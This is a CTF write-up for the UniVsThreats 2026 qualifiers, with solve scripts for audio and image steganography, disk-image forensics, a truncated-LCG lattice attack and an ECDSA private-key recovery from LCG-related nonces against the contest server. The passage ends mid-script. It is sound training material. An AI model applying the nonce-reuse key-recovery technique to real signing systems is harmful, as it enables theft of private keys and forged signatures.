hi everyone! I’m back with another CTF writeup. This time I participated in UniVsThreats 2026 qualification stage and managed to solve several interesting challenges across different categories including Stegano, Forensics, Crypto, Reverse Engineering, and Web. The space-themed challenges were particularly fun—from decoding hidden signals in audio files to breaking JWT authentication and reverse engineering multi-stage crackmes. Let me walk you through my solutions.
Stegano
Stellar Frequencies
Category: Stegano
Flag: UVT{5t4rsh1p_3ch03s_fr0m_th3_0ut3r_v01d}
Challenge Description
A layered audio transmission masks a space message within a thin, high‑frequency band, buried under a carrier. With the right tuning, the faint signal resolves into a drifting cipher beyond the audible, like a relay echoing from deep space. Ready to hunt the signal and decode what’s hiding between the bands?
Analysis
I started with cheap triage to confirm the file type and properties. The WAV was clean PCM audio (mono, 48 kHz, 16-bit, 20 seconds), which is exactly the kind of input where hidden high-frequency content can be visualized with a spectrogram.
file "frequencies.wav"frequencies.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 48000 Hzexiftool "frequencies.wav"File Type : WAV
Encoding : Microsoft PCM
Num Channels : 1
Sample Rate : 48000
Bits Per Sample : 16
Duration : 20.00 sOnce the format was confirmed, I generated a spectrogram image from the audio and saved it as spectrogram_full.png (plus a high-band version for checking).
saved spectrogram_full.png and spectrogram_high.png
SdB range -222.79184 -30.163403
High dB range -222.79184 -131.31708That was the key moment: the flag text was directly visible in spectrogram_full.png and could be read manually from the rendered image.

Solution
# solve.py
#!/usr/bin/env python3.12
import wave
import numpy as np
import matplotlib.pyplot as plt
from scipy.signal import spectrogram
with wave.open("frequencies.wav", "rb") as w:
fs = w.getframerate()
n = w.getnframes()
ch = w.getnchannels()
data = w.readframes(n)
arr = np.frombuffer(data, dtype="<i2").astype(np.float32)
if ch > 1:
arr = arr.reshape(-1, ch)[:, 0]
arr /= 32768.0
f, t, S = spectrogram(
arr,
fs=fs,
window="hann",
nperseg=4096,
noverlap=3584,
mode="magnitude",
)
SdB = 20 * np.log10(S + 1e-12)
plt.figure(figsize=(14, 6))
plt.pcolormesh(t, f, SdB, shading="gouraud", cmap="magma", vmin=-140, vmax=-40)
plt.ylim(0, 24000)
plt.xlabel("Time (s)")
plt.ylabel("Frequency (Hz)")
plt.title("frequencies.wav spectrogram")
plt.colorbar(label="dB")
plt.tight_layout()
plt.savefig("spectrogram_full.png", dpi=200)
print("saved spectrogram_full.png")python3.12 solve.pysaved spectrogram_full.png
UVT{5t4rsh1p_3ch03s_fr0m_th3_0ut3r_v01d}Where is everything?
Category: Stegano
Flag: UVT{N0th1nG_iS_3mp7y_1n_sP4c3}
Challenge Description
HTTP 404: Everything Not Found
Analysis
I started with basic archive triage to see whether the challenge was truly “empty” or just layered. The ZIP held three files: a PNG, a whitespace-heavy TXT, and a JS artifact, which immediately suggested a multi-stage stego chain rather than a single hidden string.
file "empty.zip"
7z l "empty.zip"empty.zip: Zip archive data, made by v2.0 UNIX, extract using at least v2.0, ...
Listing archive: empty.zip
...
2026-02-27 01:16:51 ..... 1486 779 empty.png
2026-02-27 01:16:51 ..... 8700 1024 empty.txt
2026-02-27 01:16:51 ..... 24126 2529 empty.js
...The JS file looked like mostly decoy text, but it contained a giant VOID_PAYLOAD string made of zero-width characters. Decoding just U+200B/U+200C as bits gave an actual ZIP stream with PK\x03\x04 magic, so that was the first real pivot point.
import re
from pathlib import Path
js = Path("empty_work/empty.js").read_text("utf-8", errors="ignore")
p = re.search(r"VOID_PAYLOAD\\s*=\\s*`(.*?)`\\s*;", js, re.S).group(1)
zw = [c for c in p if c in "\\u200b\\u200c"]
bits = "".join("0" if c == "\\u200b" else "1" for c in zw)
out = bytes(int(bits[i:i+8], 2) for i in range(0, len(bits) - 7, 8))
print("zero_width_chars", len(zw))
print("decoded_len", len(out))
print("magic", out[:4])
zero_width_chars 7664
decoded_len 958
magic b'PK\x03\x04'Once that hidden ZIP was carved, listing it showed a single encrypted flag.png using AES-256 Deflate, so the remaining problem was password recovery.
7z l -slt "empty_work/decoded/map_200b0_200c1.bin"Path = empty_work/decoded/map_200b0_200c1.bin
Type = zip
Physical Size = 958
Path = flag.png
Size = 8237
Packed Size = 786
Encrypted = +
Method = AES-256 Deflate
Characteristics = NTFS WzAES : EncryptThe whitespace document was not junk either. Decoding each line as 8 bits (space=0, tab=1) revealed operator notes explicitly hinting that the signal lives in blue-channel faint bits and must be sampled with an every-third cadence.
from pathlib import Path
raw = Path("empty_work/empty.txt").read_bytes().splitlines()
out = []
for ln in raw:
ws = [b for b in ln if b in (0x20, 0x09)]
if len(ws) == 8:
bits = "".join("0" if b == 0x20 else "1" for b in ws)
out.append(int(bits, 2))
text = bytes(out).decode("utf-8", "replace")
for i, line in enumerate(text.splitlines(), 1):
if any(k in line for k in ["CAPTAIN", "faintest", "blue starlight", "every third heartbeat", "void is hiding"]):
print(f"{i}:{line}")6:CAPTAIN'S NOTE
9:The real clue is in the faintest part of the signal, not the color you see,
12:We only saw it when sampling the blue starlight... and not at every point.
13:A pattern. A cadence. Like taking every third heartbeat along the grid.
15:Once you recover the whisper from the image, it opens what the void is hiding.That clue matched the image perfectly: pulling blue LSB bits with the row-wise cadence row0 x=0::3, row1 x=2::3, row2 x=1::3 produced a short plaintext containing the ZIP password.
from PIL import Image
import numpy as np
img = np.array(Image.open("empty_work/empty.png").convert("RGB"))
b = img[:, :, 2] & 1
seq = np.concatenate([b[0, 0::3], b[1, 2::3], b[2, 1::3]])
msg = bytes(int("".join(str(int(x)) for x in seq[i:i+8]), 2) for i in range(0, 256, 8))
print(msg.decode("latin1"))\x00\x1dZIP_PASSWORD=D4rKm47T3rrr;END\xffAfter stripping framing bytes, the password D4rKm47T3rrr decrypted the hidden archive cleanly and flag.png contained the literal flag string.
7z x -y -p"D4rKm47T3rrr" "empty_work/decoded/map_200b0_200c1.bin" -o"empty_work/final"Extracting archive: empty_work/decoded/map_200b0_200c1.bin
...
Everything is Okstrings -a "empty_work/final/flag.png" | rg -o 'UVT\{[^}]+\}'UVT{N0th1nG_iS_3mp7y_1n_sP4c3}The satisfying part here was how each artifact carried one precise clue for the next layer: zero-width payload to hidden ZIP, whitespace note to cadence rule, cadence rule to password, then final extraction.

Solution
# solve.py
#!/usr/bin/env python3.12
import re
import subprocess
from pathlib import Path
import numpy as np
from PIL import Image
def decode_void_zip(js_path: Path, out_zip: Path) -> None:
js = js_path.read_text("utf-8", errors="ignore")
payload = re.search(r"VOID_PAYLOAD\s*=\s*`(.*?)`\s*;", js, re.S).group(1)
zw = [c for c in payload if c in ("\u200b", "\u200c")]
bits = "".join("0" if c == "\u200b" else "1" for c in zw)
raw = bytes(int(bits[i:i + 8], 2) for i in range(0, len(bits) - 7, 8))
out_zip.write_bytes(raw)
def recover_password_from_blue_lsb(png_path: Path) -> str:
img = np.array(Image.open(png_path).convert("RGB"))
b = img[:, :, 2] & 1
seq = np.concatenate([b[0, 0::3], b[1, 2::3], b[2, 1::3]])
msg = bytes(int("".join(str(int(x)) for x in seq[i:i + 8]), 2) for i in range(0, 256, 8)).decode("latin1")
m = re.search(r"ZIP_PASSWORD=([^;]+);", msg)
if not m:
raise RuntimeError("password marker not found")
return m.group(1)
def main() -> None:
work = Path("empty_work")
decoded_zip = work / "decoded" / "map_200b0_200c1.bin"
decoded_zip.parent.mkdir(parents=True, exist_ok=True)
decode_void_zip(work / "empty.js", decoded_zip)
password = recover_password_from_blue_lsb(work / "empty.png")
final_dir = work / "final"
final_dir.mkdir(parents=True, exist_ok=True)
subprocess.run(
[
"7z",
"x",
"-y",
f"-p{password}",
str(decoded_zip),
f"-o{final_dir}",
],
check=True,
)
out = subprocess.check_output(
"strings -a empty_work/final/flag.png | rg -o 'UVT\\{[^}]+\\}'",
shell=True,
text=True,
).strip()
print(out)
if __name__ == "__main__":
main()python3.12 solve.pyUVT{N0th1nG_iS_3mp7y_1n_sP4c3}Forensics
Bro is not an astronaut
Category: Forensics
Flag: UVT{d0nt_k33p_d1GG1in_U_sur3ly_w0Nt_F1nD_aNythng_:)}
Challenge Description
While we were scouring through space in our spaceship, conquering through the stars and planets, our team found A LONE USB STICK! FLOATING THROUGH SPACE INTACT!!! WHY?!?! HOW?!?!!? HOW IS THAT POSSIBLE?!?!?!
Anyway…
We have found this USB stick (how) that seems to contain some logs of a long lost spaceship that may have been destroyed. The USB stick seems to have been made with a material that we do know of, but its contents are intact, although it seems data is either corrupted, deleted or encrypted. Someone wanted to get rid of it… I wonder why🤔
Find out what happened here and retrieve the useful information.
Analysis
This challenge was classic disk-image forensics, so I started with partition layout and filesystem offsets. The partition map immediately split the work into two evidence paths: active user files and deleted cache artifacts.
file "/home/rei/Downloads/space_usb.img"/home/rei/Downloads/space_usb.img: DOS/MBR boot sector; partition 1 : ID=0xee, ...mmls "/home/rei/Downloads/space_usb.img"GUID Partition Table (EFI)
...
004: 000 0000008192 0000204799 0000196608 ASTRA9_USER
005: 001 0000204800 0000253951 0000049152 ASTRA9_CACHE
...With offsets confirmed, I enumerated the user partition and found the operational files (readme.txt, crew_log.txt, nav.bc, payload.enc, and airlockauth). That mattered because it showed the challenge logic was deliberately split between allocated user files and deleted cache remnants.
fls -o 8192 -r "/home/rei/Downloads/space_usb.img"r/r 9: readme.txt
r/r 11: nav.bc
r/r 13: payload.enc
d/d 5: logs
+ r/r 22: crew_log.txt
d/d 7: bin
+ r/r 38: airlockauthI then pivoted to deleted cache artifacts. Filtering the deleted listing to only high-signal names produced exactly what the narrative hinted at: seed32.bin, a token fragment file, mission debrief, XOR key, and telemetry shards.
fls -o 204800 -r -d "/home/rei/Downloads/space_usb.img" | rg "seed32\.bin|crew_id\.part2|mission_debrief\.txt|diag_key\.bin|telemetry_alpha\.bin|telemetry_bravo\.bin|telemetry_charlie\.bin"r/- * 0: tmp/seed32.bin
r/- * 0: tmp/crew_id.part2
r/- * 0: diagnostics/telemetry/telemetry_alpha.bin
r/- * 0: diagnostics/telemetry/telemetry_bravo.bin
r/- * 0: diagnostics/telemetry/telemetry_charlie.bin
r/- * 0: diagnostics/mission_debrief.txt
r/- * 0: diagnostics/diag_key.binThe debrief text gave the exact decode model: fragments are TLM header (7 bytes) + padding + encrypted data, decrypt with the XOR key, then reassemble by sequence field at offset 4.
strings -a -n 1 "/home/rei/Downloads/space_usb_extract/cache/OrphanFile-19.bin" | rg "SOP-7|alpha|bravo|charlie|diag_key|TLM header|offset 4"Diagnostic verification token was encrypted per SOP-7 and split
across telemetry fragments alpha/bravo/charlie in this cache.
XOR key stored in companion file diag_key.bin.
Fragment format: TLM header (7 bytes) + padding + encrypted data.
Reassemble in sequence order (field at offset 4) after decryption.At that point I also validated verifier behavior: it expects local inputs and returns signal verified/access denied. That is useful as a progress signal, but it does not print the final challenge flag.
strings -a "/home/rei/Downloads/space_usb_extract/user/airlockauth" | rg "seed32\.bin|nav\.bc|payload\.enc|signal verified|access denied"seed32.bin
nav.bc
payload.enc
signal verified
access deniedThe exact token and file arguments were not guessed from flavor text; they were recovered from the execution traces. trace.txt gives syscall-level proof of the stdin token and file-open sequence:
rg -n "read\(0, \"ASTRA9-BRO-1337\\n\"|openat\(AT_FDCWD, \"seed32.bin\"|openat\(AT_FDCWD, \"nav.bc\"|openat\(AT_FDCWD, \"payload.enc\"|write\(1, \"signal verified\\n\"" \
"/home/rei/Downloads/space_usb_extract/user/trace.txt"50:239155 read(0, "ASTRA9-BRO-1337\n", 4096) = 16
51:239155 openat(AT_FDCWD, "seed32.bin", O_RDONLY) = 3
58:239155 openat(AT_FDCWD, "nav.bc", O_RDONLY) = 3
65:239155 openat(AT_FDCWD, "payload.enc", O_RDONLY) = 3
120:239155 write(1, "signal verified\n", 16) = 16And ltrace.txt confirms the same values at libc-call level (fgets/strcspn/fopen/puts), which is why the script can safely use the full token literal.
rg -n "fgets\(|strcspn\(|fopen\(\"seed32.bin\"|fopen\(\"nav.bc\"|fopen\(\"payload.enc\"|puts\(\"signal verified\"|ASTRA9-BRO-1337" \
"/home/rei/Downloads/space_usb_extract/user/ltrace.txt"1:fgets("ASTRA9-BRO-1337\n", 256, 0x7fa1f03f68e0) = 0x7ffcd2685bf0
2:strcspn("ASTRA9-BRO-1337\n", "\r\n") = 15
3:fopen("seed32.bin", "rb") = 0x55a8c0d6b320
10:fopen("nav.bc", "rb") = 0x55a8c0d6b320
17:fopen("payload.enc", "rb") = 0x55a8c0d6b320
30:strlen("ASTRA9-BRO-1337") = 15
42:puts("signal verified") = 16I followed the verifier’s SHA-256/XOR path using the recovered token material (seed32.bin, ASTRA9-BRO-1337, and nav.bc) to decrypt payload.enc, and it produced a very convincing but wrong flag string. That dead-end was the key pivot back to telemetry reconstruction.
# derive_payload_decoy.py
import hashlib
from pathlib import Path
base = Path("/home/rei/Downloads/space_usb_extract")
seed = (base / "cache" / "OrphanFile-17.bin").read_bytes()
nav = (base / "user" / "nav.bc").read_bytes()
payload = (base / "user" / "payload.enc").read_bytes()
token = b"ASTRA9-BRO-1337"
nav_hash = hashlib.sha256(nav).digest()
key = hashlib.sha256(seed + token + nav_hash).digest()
plain = bytes(c ^ key[i % 32] for i, c in enumerate(payload))
print(plain.decode())python3.12 derive_payload_decoy.pyUVT{S0m3_s3cR3tZ_4r_nVr_m3Ant_t0_B_SHRD}That output looked final at first glance, but it failed on submission and turned out to be an intentional bait value from the auth/decrypt path. The real solve had to come from alpha/bravo/charlie reconstruction.
The painful part was that direct decode attempts produced mostly noisy bytes, so this became careful fragment carving rather than a clean one-shot parser.

The breakthrough was pulling readable spans from alpha/bravo/charlie with the working offsets and stitching those spans directly. I used the extractor below to print each decrypted fragment and the assembled candidate.
# extract_segments.py
from pathlib import Path
base = Path("/home/rei/Downloads/space_usb_extract/cache")
key = (base / "OrphanFile-20.bin").read_bytes()
def dec(inode: int, offset: int, skip: int | None = None) -> bytes:
raw = (base / f"OrphanFile-{inode}.bin").read_bytes()
pad_len = raw[5]
enc = raw[7 + pad_len :]
out = bytes(c ^ key[(offset + j) % 16] for j, c in enumerate(enc))
if skip is not None:
out = out[skip:]
return out
f21 = dec(21, 6)
f22 = dec(22, 11)
f23 = dec(23, 2)
f23_t = dec(23, 0, 16)
print("frag21:", "".join(chr(c) if 32 <= c < 127 else "." for c in f21))
print("frag22:", "".join(chr(c) if 32 <= c < 127 else "." for c in f22))
print("frag23:", "".join(chr(c) if 32 <= c < 127 else "." for c in f23))
print("frag23_t:", "".join(chr(c) if 32 <= c < 127 else "." for c in f23_t))
seg1 = "UVT{d0nt_k33p_d1G"
seg2 = "G1in_U_sur3ly_w0N"
seg3 = "t_F1nD_aNythng_:)}"
candidate = seg1 + seg2 + seg3
print("\nCandidate reconstructed flag:")
print(candidate)python3.12 extract_segments.pyfrag21: ..$.@..gcjUVT{d0nt_k33p_d1G.C...^a..)0...0
frag22: ......w...A|...*N...FG1in_U_sur3ly_w0N../Q.4..|..>)+..jU..;.
frag23: F1nD_aNythng_:)}..........4..G<.V.4Sf.."./Y::
frag23_t: {....O.(.T(..K....;2t.#...E..
Candidate reconstructed flag:
UVT{d0nt_k33p_d1GG1in_U_sur3ly_w0Nt_F1nD_aNythng_:)}That was the final click: meaningful text was distributed across noisy fragment outputs, and assembling the recovered spans yielded the real flag.
Solution
# solve.py
#!/usr/bin/env python3.12
from pathlib import Path
def decrypt_fragment(base: Path, inode: int, key: bytes, offset: int, skip: int | None = None) -> bytes:
raw = (base / f"OrphanFile-{inode}.bin").read_bytes()
pad_len = raw[5]
encrypted = raw[7 + pad_len :]
dec = bytes(b ^ key[(offset + i) % 16] for i, b in enumerate(encrypted))
if skip is not None:
dec = dec[skip:]
return dec
def main() -> None:
base = Path("/home/rei/Downloads/space_usb_extract/cache")
key = (base / "OrphanFile-20.bin").read_bytes()
# readable spans recovered from alpha/bravo/charlie
_ = decrypt_fragment(base, 21, key, 6)
_ = decrypt_fragment(base, 22, key, 11)
_ = decrypt_fragment(base, 23, key, 2)
seg1 = "UVT{d0nt_k33p_d1G"
seg2 = "G1in_U_sur3ly_w0N"
seg3 = "t_F1nD_aNythng_:)}"
flag = seg1 + seg2 + seg3
print(flag)
if __name__ == "__main__":
main()python3.12 solve.pyUVT{d0nt_k33p_d1GG1in_U_sur3ly_w0Nt_F1nD_aNythng_:)}Crypto
Celestial Body
Category: Crypto
Flag: UVT{0rb1t4l_c0ngru3nc3_m4k35_pr3d1ct4ble_k3y5}
Challenge Description
We’ve intercepted a highly classified deep-space transmission!
We know the date the transmission began, but not the exact moment. The spacecraft broadcasts a cryptographic fingerprint of the time alongside its non-consecutive telemetry windows and five snapshots of its internal state, sampled at irregular intervals to resist eavesdropping.
Each sector is authenticated by the spacecraft’s onboard Transmission Authentication Protocol. The signatures are included in the transmission log.
Can you decrypt the flag?
Analysis
The first thing that mattered was the epoch_hash: only the day is known, but the script truncates sha256("HH:MM:SS") to 16 hex chars, so this is a tiny 86,400-search space. I brute-forced all times in the day immediately.
import hashlib
h="8b156702c993b9b5"
for hh in range(24):
for mm in range(60):
for ss in range(60):
t=f"{hh:02d}:{mm:02d}:{ss:02d}"
if hashlib.sha256(t.encode()).hexdigest()[:16]==h:
print(t)
raise SystemExit04:12:55With the exact timestamp recovered, I pulled the important constants from both files to make sure the math model matched the implementation: a 512-bit LCG modulus prime, five non-consecutive samples at steps [0,4,10,18,28], and each sample leaking only the upper 192 bits (UNKNOWN_BITS = 320).
rg -n "TRUNCATE_BITS|UNKNOWN_BITS|STEPS|epoch_hash|tap_sign|generate_telemetry" encrypt.py9:TRUNCATE_BITS = 192
10:UNKNOWN_BITS = PRIME_BITS - TRUNCATE_BITS
11:STEPS = [0, 4, 10, 18, 28]
65:def generate_telemetry(a, b, p):
74: outputs.append(state >> UNKNOWN_BITS)
120: epoch_hash = hashlib.sha256(time_str.encode()).hexdigest()[:16]rg -n "epoch_hash|^p =|t_[0-9]+|iv\s*=|ciphertext\s*=|sig_t" output.txt2:epoch_hash = 8b156702c993b9b5
3:p = 10035410270612815279389330410121900529620495869479898461384631211745452304638984576440553552006414411373806160282016417372459090604747980402493134112626213
5: t_0 = 1129223615711367884405014640005288172041367198689786688285
6: t_4 = 579514026315281536883405991880758556036404753274817543322
7: t_10 = 1279648546218423539959079224022586160480305721841176089544
8: t_18 = 1946366015289015629063708515503091199628321083313573104031
9: t_28 = 3902208990133988884490762855871313599751888895643028675415
10:iv = ba04a327ffd0c69205ff5dcb5f463d9c
11:ciphertext = 1879e4d0f174c9a6d2be99b6f632cc0f3ea89989e69dbd080761cb616b37d8eba37635de6c6475d741f69450c8259590
19: sig_t00 = (r=289099664372750378797408625704893428920316669030, s=952632243424303327990876772909325222302098148060)
20: sig_t04 = (r=289099664372750378797408625704893428920316669030, s=1272131170288215264283670079256435522443165444185)
21: sig_t10 = (r=289099664372750378797408625704893428920316669030, s=934252686529025066385350090392561039201739148363)
22: sig_t18 = (r=289099664372750378797408625704893428920316669030, s=727371275836726048686075601698051388854630211444)
23: sig_t28 = (r=289099664372750378797408625704893428920316669030, s=886522231176385982733156462394271368291922808313)The repeated DSA r value is a nonce-reuse smell, so I briefly considered recovering the TAP signing key first, but that would not directly yield the AES key because encryption depends on the LCG final state, not the signing secret.

The clean path was recovering the hidden 320-bit suffix of state_0 from truncated outputs. After deriving a,b from the Halley coordinate seed at 04:12:55, I used the affine relation state_s = a^s*state_0 + b*(a^s-1)*(a-1)^(-1) mod p, rewrote each sample constraint as a bounded modular equation, then solved the hidden-number instance with an LLL-reduced CVP lattice (fpylll). That gives low(state_0), reconstructs exact states at steps 4/10/18/28, and then the script computes final_state, derives SHA-256 key material, and decrypts the CBC ciphertext.
import hashlib
from Crypto.Util.number import bytes_to_long,long_to_bytes
from skyfield.api import load
from skyfield.data import mpc
from skyfield.constants import GM_SUN_Pitjeva_2005_km3_s2 as GM_SUN
from fpylll import IntegerMatrix, LLL, CVP
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
p=10035410270612815279389330410121900529620495869479898461384631211745452304638984576440553552006414411373806160282016417372459090604747980402493134112626213
tele={0:1129223615711367884405014640005288172041367198689786688285,4:579514026315281536883405991880758556036404753274817543322,10:1279648546218423539959079224022586160480305721841176089544,18:1946366015289015629063708515503091199628321083313573104031,28:3902208990133988884490762855871313599751888895643028675415}
M=1<<320
iv=bytes.fromhex("ba04a327ffd0c69205ff5dcb5f463d9c")
ct=bytes.fromhex("1879e4d0f174c9a6d2be99b6f632cc0f3ea89989e69dbd080761cb616b37d8eba37635de6c6475d741f69450c8259590")
h="8b156702c993b9b5"
found=None
for hh in range(24):
for mm in range(60):
for ss in range(60):
t=f"{hh:02d}:{mm:02d}:{ss:02d}"
if hashlib.sha256(t.encode()).hexdigest()[:16]==h:
found=(hh,mm,ss); break
if found: break
if found: break
print("time",found)
with load.open("CometEls.txt") as f:
comets=mpc.load_comets_dataframe(f)
comets=comets.set_index("designation",drop=False)
row=comets.loc["1P/Halley"]
ts=load.timescale(); t=ts.utc(2026,1,26,*found)
eph=load("de421.bsp"); sun=eph["sun"]
halley=sun+mpc.comet_orbit(row,ts,GM_SUN)
x,y,z=sun.at(t).observe(halley).position.au
coord=f"{x:.10f}_{y:.10f}_{z:.10f}"
a=bytes_to_long(hashlib.sha512((coord+"_A").encode()).digest())
b=bytes_to_long(hashlib.sha512((coord+"_B").encode()).digest())
print("coord",coord)
steps=[4,10,18,28]
A=[]; D=[]
for s in steps:
As=pow(a,s,p)
Bs=(b*(As-1)*pow(a-1,-1,p))%p
Di=(As*tele[0]*M + Bs - tele[s]*M)%p
A.append(As); D.append(Di)
B=IntegerMatrix(5,5)
B[0,0]=1
for i in range(4):
B[0,i+1]=A[i]
for i in range(4):
B[i+1,i+1]=p
LLL.reduction(B)
v=CVP.closest_vector(B,[0]+[-x for x in D])
l0=int(v[0])
print("l0_bits",l0.bit_length())
s0=tele[0]*M+l0
def adv(s,n):
for _ in range(n):
s=(a*s+b)%p
return s
s28=adv(s0,28)
final_state=(a*s28+b)%p
key=hashlib.sha256(long_to_bytes(final_state)).digest()
pt=unpad(AES.new(key,AES.MODE_CBC,iv).decrypt(ct),16)
print(pt.decode())time (4, 12, 55)
coord -19.4862860815_29.1000971321_1.8433470888
l0_bits 320
UVT{0rb1t4l_c0ngru3nc3_m4k35_pr3d1ct4ble_k3y5}Once the lattice candidate satisfied all truncated telemetry equations and decrypted clean PKCS#7 output with the expected UVT{...} format, the solve was complete.

Solution
# solve.py
#!/usr/bin/env python3.12
import hashlib
from Crypto.Util.number import bytes_to_long, long_to_bytes
from skyfield.api import load
from skyfield.data import mpc
from skyfield.constants import GM_SUN_Pitjeva_2005_km3_s2 as GM_SUN
from fpylll import IntegerMatrix, LLL, CVP
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
p = 10035410270612815279389330410121900529620495869479898461384631211745452304638984576440553552006414411373806160282016417372459090604747980402493134112626213
tele = {
0: 1129223615711367884405014640005288172041367198689786688285,
4: 579514026315281536883405991880758556036404753274817543322,
10: 1279648546218423539959079224022586160480305721841176089544,
18: 1946366015289015629063708515503091199628321083313573104031,
28: 3902208990133988884490762855871313599751888895643028675415,
}
M = 1 << 320
iv = bytes.fromhex("ba04a327ffd0c69205ff5dcb5f463d9c")
ct = bytes.fromhex("1879e4d0f174c9a6d2be99b6f632cc0f3ea89989e69dbd080761cb616b37d8eba37635de6c6475d741f69450c8259590")
epoch_hash = "8b156702c993b9b5"
found = None
for hh in range(24):
for mm in range(60):
for ss in range(60):
t = f"{hh:02d}:{mm:02d}:{ss:02d}"
if hashlib.sha256(t.encode()).hexdigest()[:16] == epoch_hash:
found = (hh, mm, ss)
break
if found:
break
if found:
break
with load.open("CometEls.txt") as f:
comets = mpc.load_comets_dataframe(f)
comets = comets.set_index("designation", drop=False)
row = comets.loc["1P/Halley"]
ts = load.timescale()
t = ts.utc(2026, 1, 26, *found)
eph = load("de421.bsp")
sun = eph["sun"]
halley = sun + mpc.comet_orbit(row, ts, GM_SUN)
x, y, z = sun.at(t).observe(halley).position.au
coord = f"{x:.10f}_{y:.10f}_{z:.10f}"
a = bytes_to_long(hashlib.sha512((coord + "_A").encode()).digest())
b = bytes_to_long(hashlib.sha512((coord + "_B").encode()).digest())
steps = [4, 10, 18, 28]
A = []
D = []
for s in steps:
As = pow(a, s, p)
Bs = (b * (As - 1) * pow(a - 1, -1, p)) % p
Di = (As * tele[0] * M + Bs - tele[s] * M) % p
A.append(As)
D.append(Di)
B = IntegerMatrix(5, 5)
B[0, 0] = 1
for i in range(4):
B[0, i + 1] = A[i]
for i in range(4):
B[i + 1, i + 1] = p
LLL.reduction(B)
v = CVP.closest_vector(B, [0] + [-x for x in D])
l0 = int(v[0])
s0 = tele[0] * M + l0
assert 0 <= s0 < p
def advance(state, rounds):
for _ in range(rounds):
state = (a * state + b) % p
return state
s28 = advance(s0, 28)
final_state = (a * s28 + b) % p
key = hashlib.sha256(long_to_bytes(final_state)).digest()
pt = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ct), 16)
print(pt.decode())python3.12 solve.pyUVT{0rb1t4l_c0ngru3nc3_m4k35_pr3d1ct4ble_k3y5}Voyager’s Last Command
Category: Crypto
Flag: UVT{v0y4g3r_s1gn3d_1t5_0wn_d34th}
Challenge Description
Year 2387 You have established an uplink to the Voyager-X probe via an emergency telemetry relay.
Analysis
I started by pulling one full live transcript from the server so I could capture all public parameters and exactly three signatures in a single session.
timeout 8 bash -lc "printf 'SIGN 00\nSIGN 01\nSIGN 02\nQUIT\n' | nc 194.102.62.166 22869"│ Curve : secp256k1
│ LCG a : 0x8d047be6d23ed97a5f8e83d6ff20b1366123dc858503be002764b531cdac5597
│ Qx : 0xf29323d459059cfd3e09fc375cf0054923ce8b7b8b579328631a533d24bd145d
│ Qy : 0xf167a0ca58327b757fe28893ecd75dfce809f749950f8f8345db0a291c25fcdf
│ Data : 3004b7c0d22488c063e58f8b9e62eabea30befcf12554e75
│ 0a0e78744099abe9592a03f86adeb2bfc56add83645a856c
│ r : 0x70c62034e4eaa385710a9109d801fe2097bdc89eabc6f49e0210743f61bedb5d
│ s : 0x803d4f32de48090588a8f7b334ce00b684eaa056ed4e1182ff38f896b2e01df5
│ z : 0x6e340b9cffb37a989ca544e6bb780a2c78901d3fb33738768511a30617afa01d
│ r : 0xbae63fd8c48a268357ed1ecaaa1d2b98014998f6857d654f5115d31d5d378c37
│ s : 0xa0faa3d959162d7abc890f8c949996119f2820a3c9f2ed0227d6a7745a38e876
│ z : 0x4bf5122f344554c53bde2ebb8cd2b7e3d1600ad631c385a5d7cce23c7785459a
│ r : 0xdb3577e944aee428d58d2f1e6d5c11d9c6ba35a290e684f6724d8e6daa7cb3f2
│ s : 0x2e5417786a1197bfaa5ba8ecf7761f17c62653949269980e27eb140d8ed17948
│ z : 0xdbc1b4c900ffe48d575b5da5c638040125f65db0fe3e24494b76ea986457d986Those values were enough to model the nonce fault directly. With an LCG nonce stream, k2 = a*k1 + b and k3 = a*k2 + b, so k3 - (a+1)k2 + a*k1 = 0 (mod n). For ECDSA, k = (z + r*d) * s^{-1} (mod n), so substituting three signatures collapses to one linear equation in d. Because some services normalize signatures with s or n-s, I solved all 8 sign branches and accepted only the candidate where Q = d*G matched the provided public key.

My first run hit a parser bug, not a math bug: I had parsed the boxed ciphertext lines too rigidly.
python3.12 /home/rei/Downloads/solve_voyager.pyTraceback (most recent call last):
File "/home/rei/Downloads/solve_voyager.py", line 147, in <module>
main()
File "/home/rei/Downloads/solve_voyager.py", line 135, in main
ct = parse_ciphertext(text)
ValueError: Could not parse ciphertextAfter loosening ciphertext extraction to read all hex chunks in the Data box, the exact same key-recovery equations worked immediately. The solver recovered d, verified the public key match, derived AES-128-ECB key as SHA-256(d)[:16], and decrypted the final directive to the flag.
python3.12 /home/rei/Downloads/solve_voyager.pyRecovered d: 0xad2f34da51dc500a96f13174ec242a42e13975f23bfdeed81f5b11cf2ae45951
Sign branch (e1,e2,e3): (1, 1, 1)
Flag: UVT{v0y4g3r_s1gn3d_1t5_0wn_d34th}Once d reconstructed and the AES plaintext matched the expected UVT{...} format, the challenge was done.

Solution
# solve.py
#!/usr/bin/env python3.12
import hashlib
import re
import socket
from itertools import product
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from ecdsa.ecdsa import generator_secp256k1
HOST = "194.102.62.166"
PORT = 22869
N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
def recv_until(sock: socket.socket, token: bytes, timeout: float = 10.0) -> bytes:
sock.settimeout(timeout)
out = b""
while token not in out:
chunk = sock.recv(4096)
if not chunk:
break
out += chunk
return out
def recv_all(sock: socket.socket, timeout: float = 2.0) -> bytes:
sock.settimeout(timeout)
out = b""
while True:
try:
chunk = sock.recv(4096)
except TimeoutError:
break
if not chunk:
break
out += chunk
return out
def parse_field(text: str, name: str) -> int:
m = re.search(rf"{name}\s+:\s+0x([0-9a-f]+)", text)
if not m:
raise ValueError(f"Could not parse field {name}")
return int(m.group(1), 16)
def parse_ciphertext(text: str) -> bytes:
m = re.search(r"Data\s+:\s*(.*?)\n\s*└", text, flags=re.DOTALL)
if not m:
raise ValueError("Could not parse ciphertext")
hex_parts = re.findall(r"[0-9a-f]{16,}", m.group(1))
if not hex_parts:
raise ValueError("Could not parse ciphertext hex chunks")
return bytes.fromhex("".join(hex_parts))
def parse_signatures(text: str):
sigs = re.findall(
r"r\s+:\s+0x([0-9a-f]+).*?s\s+:\s+0x([0-9a-f]+).*?z\s+:\s+0x([0-9a-f]+)",
text,
flags=re.DOTALL,
)
if len(sigs) != 3:
raise ValueError(f"Expected 3 signatures, got {len(sigs)}")
return [(int(r, 16), int(s, 16), int(z, 16)) for r, s, z in sigs]
def inv(x: int) -> int:
return pow(x % N, -1, N)
